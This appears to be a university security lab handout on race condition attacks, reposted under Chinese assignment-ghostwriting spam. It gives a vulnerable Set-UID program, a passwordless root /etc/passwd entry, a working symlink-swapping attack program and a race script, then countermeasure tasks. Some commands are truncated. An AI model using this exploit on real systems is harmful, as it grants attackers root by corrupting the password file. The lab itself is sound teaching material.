代写report | security | bash代做 | scheme | shell – Race Condition Vulnerability

Race Condition Vulnerability

代写report | security | bash代做 | scheme | shell – 这个题目属于一个网络安全的代写任务, 涉及了report/security/bash/scheme/shell等代写方面

report代写 代做report

Based on Chapter 7 of Computer & Internet security by Wenliang Du

Before you begin your work, follow these steps to start your VMs (if you already know how to start and stop VMs on vSphere, go to the next page):

  1. Log into the Drexel University VPN using the Cisco AnyConnect Secure Mobility Client connected to vpn.drexel.edu. Your Drexel University userid and password (the same you use to log into one.drexel.edu) will get you logged into the VPN. The vSphere VMware cloud VMs will not work unless you first connect to the Drexel University VPN. Go to https://support.cci.drexel.edu/getting-connected/vpn/ to get the Cisco AnyConnect Secure Mobility Client, including directions on how to use it.
  2. Once you have connected to the Drexel University VPN go to https://vcenter.cci.drexel.edu/ and click on the Launch vSphere Client (HTML5) button. This will take you to the VMware vSphere login page. Use your Drexel University userid and password (the same one you use to log into one.drexel.edu) and click the LOGIN button. This will take you to your vSphere VMware cloud VMs.
  3. Once you are in the vSphere Client you will see your VMs on the left (pFsense, VM01). Before you boot your VM 01 , you must first start your pFsense VM so your VM 01 can connect to the Internet. To start your pFsense VM, select it, and then on the right side under Guest OS, click on ACTIONS and select Power On. Wait a few minutes until the Powered Off box turns black indicating that the pFsense VM has booted. Now you are ready to boot VM01and start working.
  4. Once your pFsense client has booted, use the vSphere Client to select VM 01 to boot. To boot VM01, select it, then go to the Guest OS tab, select ACTIONS, and then select Power On. You may then click on the LAUNCH REMOTE CONSOLE button right under the box in the Guest OS tab. This will launch your VM in a separate window. To login into your launched VM, use the seed userid and password dees.
  5. Once you are done working on your VMs, use the vSphere Client to select each active VM and power each VM down. To do so, select the VM from the left side of the vSphere Client window and then, under the right side Guest OS, click on ACTIONS and select Power Off. Your VM files will be there when you restart the VMs later.

A race condition occurs when multiple processes access and manipulate the same data concurrently, and the outcome of the execution depends on the particular order in which the access takes place. If a privileged program has a race-condition vulnerability, attackers can run a parallel process to race against the privileged program, with an intention to change the behaviors of the program.

Initial Setup

Ubuntu 10.10 and later comes with a built-in protection against race condition attacks. This scheme works by restricting who can follow a symbolic link (symlink). According to the documentation, symlinks in world-writable sticky directories ( e.g. , /tmp) cannot be followed if the follower and directory owner do not match the symlink owner. In this task, we need to disable this protection. You can achieve that using the following command:

$ sudo sysctl -w fs.protected_symlinks=

A Vulnerable Program

The following program is a seemingly harmless program, but it contains a race-condition vulnerability.

/* vulp.c */ #include <stdio.h> #include<unistd.h> #include<string.h>

int main() { char * fn = "/tmp/XYZ"; char buffer[60]; FILE fp; / get user input */ scanf("%50s", buffer ); if(!access(fn, W_OK)){ fp = fopen(fn, "a+"); fwrite("\n", sizeof(char), 1, fp); fwrite(buffer, sizeof(char), strlen(buffer), fp); fclose(fp); } else printf("No permission \n"); }

Compile the above program and make it a root-owned Set-UID program. The following commands achieve this goal:

$ gcc vulp.c -o vulp $ sudo chown root vulp $ sudo chmod 4755 vulp

The vulp program appends a string of user input to the end of a temporary file /tmp/XYZ. Since the code runs with root privilege, i.e., its effective user ID is zero (EUID=0), it can overwrite any file. To prevent itself from accidentally overwriting other users files, the program first checks whether the real user ID has access permission to the file /tmp/XYZ; that is the purpose of the access() call. If the real user ID has the permission, the program opens the file and appends the user input to the file. At first glance the program does not seem to have any problems.

However, there is a race condition vulnerability in the vulp program: due to the time window between the check (access()) and the use (fopen()), there is a possibility that the file used by access()is different from the file used by fopen(), even though they have the same file name /tmp/XYZ. If a

malicious attacker can somehow make /tmp/XYZ a symbolic link that points to a protected file, such as /etc/passwd, inside the time window, the attacker can cause the user input to be appended to /etc/passwd and as a result gain root privilege. The vulnerable program runs with root privilege, so it can overwrite any file.

Warning: In the past, some students accidentally erased the /etc/passwd file during the attacks. If you lose the password file, you will not be able to log in again. To avoid this problem, make a copy of the original password file. This way, you can easily recover from a potential mishap. Keep an extra xterminal open so you can use it move the saved passwd file back to /etc/passwd.

Task 1: Choosing Our Target

We would like to exploit the race condition vulnerability in the vulnerable program. We choose to target the password file /etc/passwd, which is not writable by normal users. By exploiting the vulnerability, we would like to add a record to the password file, with a goal of creating a new user account that has root privilege. Inside the password file, each user has an entry, which consists of seven fields separated by colons (:). The entry for the root user is listed below. For the root user, the third field (the user ID field) has a value zero. Namely, when the root user logs in, its processs user ID is set to zero, giving the process root privilege. Basically, the power of the root account does not come from its name, but instead from the user ID field. If we want to create an account with root privilege, we just need to put a zero in this field.

root:x:0:0:root:/root:/bin/bash

Each entry also contains a password field, which is the second field. In the example above, the field is set to "x", indicating that the password is stored in another file called /etc/shadow (the shadow file). If we follow this example, we have to use the race condition vulnerability to modify both password and shadow files, which is not very hard to do. However, there is a simpler solution. Instead of putting "x" in the password file, we can simply put the one-way hash of the password there, so the operating system will not look for the password in the shadow file.

The password field does not hold the actual password; it holds the one-way hash value of the password. To get such a value for a given password, we can add a new user in our own system using the adduser command, and then get the one-way hash value of our password from the shadow file. Or we can simply copy the value from the seed users entry, because we know its password is dees. Interestingly, there is a magic hash value used in Ubuntu for a password-less account, and the magic value is U6aMy0wojraho (the 6th character is zero, not letter O). If we put this value in the password field of a user entry, we only need to hit the return key when prompted for a password.

To verify whether the magic password works or not, we manually (as a superuser using the command: % sudo bash) add the following entry to the end of the /etc/passwd file. report whether you can log into the test account without typing a password, and check whether you have root privilege.

test:U6aMy0wojraho:0:0:test:/root:/bin/bash

After this task, remove this entry from the password file. In the next task, we need to achieve this goal as a normal user. Clearly, we are not allowed to do that directly to the password file, but we can exploit a race condition in a privileged program to achieve the same goal.

Task 2: Launching the Race Condition Attack

The goal of this task is to exploit the race condition vulnerability in the vulnerable Set-UID program listed earlier. The ultimate goal is to gain the root privilege. The most critical step ( i.e., making /tmp/XYZ point to the password file) of our race condition attack must occur within the window between check and use; namely between the access() and the fopen()calls in the vulnerable program. Since we cannot modify the vulnerable program, the only thing that we can do is to run our attacking program in parallel to race against the target program, hoping to win the race condition, i.e., changing the link within that critical window. Unfortunately, we cannot achieve perfect timing. Therefore, the success of the attack is probabilistic. The probability of successful attack might be quite low if the window is small.

For example, you can run the vulnerable program many times; you only need to achieve success once among all these trials. Since you need to run the attacks and the vulnerable program many times, you should write a program to automate the attack process. To avoid manually typing an input to the vulnerable program vulp, you can use input redirection. Namely, you save your input to a file, and ask vulp to get the input from this file using vulp < inputFile.

Before running the vulp program many times you will need to run the attack program, which continuously tries to link /tmp/XYZ to /etc/password. Below is the source code for the attack program.

/* attack.c */ #include <unistd.h> #include <sys/syscall.h> #include <linux/fs.h>

int main () { unsigned int flags = RENAME_EXCHANGE;

unlink("/tmp/XYZ" ); symlink("/dev/null" , "/tmp/XYZ" ); unlink("/tmp/ABC" ); symlink("/etc/passwd" , "/tmp/ABC" );

while (1) { syscall(SYS_renameat2, 0, "/tmp/XYZ" , 0, "/tmp/ABC" , flags); usleep(10000); }

return 0; }

Save the code to attack.c, then compile it as follows:

% gcc attack.c -o attack

Knowing whether the attack is successful. Since it may take a while before our attack can successfully modify the password file, we need a way to automatically detect whether the attack is successful or not. There are many ways to do that; an easy way is to monitor the timestamp of the password file. The following shell script (race.sh) runs the ls -l command, which outputs several pieces of information about a file, including the last modified time. By comparing the outputs of the command with the ones produced previously, we can tell whether the file has been modified.

#!/bin/ bash CHECK_FILE="ls -l /etc/passwd" old=$($CHECK_FILE) new=$($CHECK_FILE) while [ "$old" == "$new" ] do ./vulp < passwd_input new=$($CHECK_FILE) done echo "STOP… The passwd file has been changed"

While running the attack program in the background, also run the race.sh program using the inputFile you created and comment on whether the /etc/passwd file was changed or not.

% ./attack & % ./race.sh

Can you log into the test account? What is the test users privilege mode?

Task 3: Countermeasure: Applying the Principle of Least Privilege

The fundamental problem of the vulnerable program in this task is the violation of the Principle of Least Privilege. The programmer understands that the user who runs the program might be too powerful, and so introduced access()to limit the users power. However, this is not a good approach. A better approach is to apply the Principle of Least Privilege; namely, if users do not need a certain privilege, the privilege should be disabled. We can use the seteuid() system call to temporarily disable the root privilege, and later enable it, if necessary. Use this approach to fix the vulnerability in the program, and then repeat your attack from Task 2. Are you be able to succeed? Report your observations and provide explanations.

Task 4: Countermeasure: Using Ubuntus Built-in Scheme

Ubuntu 10.10 and later comes with a built-in protection scheme against race condition attacks. In this task, you need to turn the protection back on using the following command:

$ sudo sysctl -w fs.protected_symlinks=

Repeat your attack from Task 2 after the protection is turned on. Describe your observations. Also explain the following: (1) How does this protection scheme work? (2) What are the limitations of this scheme?